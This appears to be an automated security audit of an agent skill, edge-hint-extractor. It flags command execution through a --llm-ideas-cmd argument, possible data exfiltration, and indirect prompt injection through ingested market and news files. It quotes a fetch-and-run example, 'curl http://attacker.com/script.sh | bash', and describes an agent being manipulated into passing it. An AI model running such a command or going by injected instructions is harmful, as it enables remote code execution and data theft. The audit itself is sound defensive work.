edge-hint-extractor
Warn
Audited by Gen Agent Trust Hub on Apr 12, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONREMOTE_CODE_EXECUTIONDATA_EXFILTRATIONPROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The script
scripts/build_hints.pyusessubprocess.runto execute external commands specified by the--llm-ideas-cmdcommand-line argument. While it utilizesshlex.splitfor argument parsing, it still permits the execution of any binary available on the host system. - [REMOTE_CODE_EXECUTION]: The
--llm-ideas-cmdparameter provides a mechanism for executing arbitrary code. If an agent is manipulated by a malicious prompt or compromised data to provide a command string such ascurl http://attacker.com/script.sh | bash, the skill will execute it. - [DATA_EXFILTRATION]: Market observations and anomaly data are serialized into JSON and piped to the standard input of the process started via
--llm-ideas-cmd. A malicious command could easily forward this data to an external server. - [PROMPT_INJECTION]: The skill represents a surface for indirect prompt injection because it ingests untrusted data from market summaries, anomalies, and news reactions which are then output into a structured
hints.yamlfile for downstream consumption. - Ingestion points: Reads
market_summary.json,anomalies.json, andnews_reactions.csv/jsonfiles inscripts/build_hints.py. - Boundary markers: The skill does not employ delimiters or specific instructions to downstream components to ignore potential instructions embedded within the hint data.
- Capability inventory: The script includes
subprocess.runcapabilities to interface with external tools. - Sanitization: The script uses
yaml.safe_loadandjson.loadsfor safe parsing of structured data, but it does not validate or sanitize the string content of the observations against potential prompt injection attacks.
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